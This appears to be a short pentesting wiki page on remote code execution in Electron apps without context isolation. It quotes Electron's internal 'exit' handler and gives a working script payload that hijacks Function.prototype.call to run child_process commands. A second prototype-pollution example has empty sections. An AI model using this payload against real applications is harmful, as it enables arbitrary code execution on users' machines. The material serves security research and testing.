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Electron contextIsolation RCE via Electron internal code ​

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Example 1 ​

Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41

"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:

javascript
process.on('exit', function (){
    for (let p in cachedArchives) {
        if (!hasProp.call(cachedArchives, p)) continue
        cachedArchives[p].destroy()
    }
})
⛓️ External Link
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists

Then it goes here:

Where "self" is Node's process object:

The process object has a references to "require" function:

process.mainModule.require

As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:

html
<script>
Function.prototype.call = function(process){
    process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>

Example 2 ​

Get require object from prototype pollution. From https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

Leak:

Exploit:

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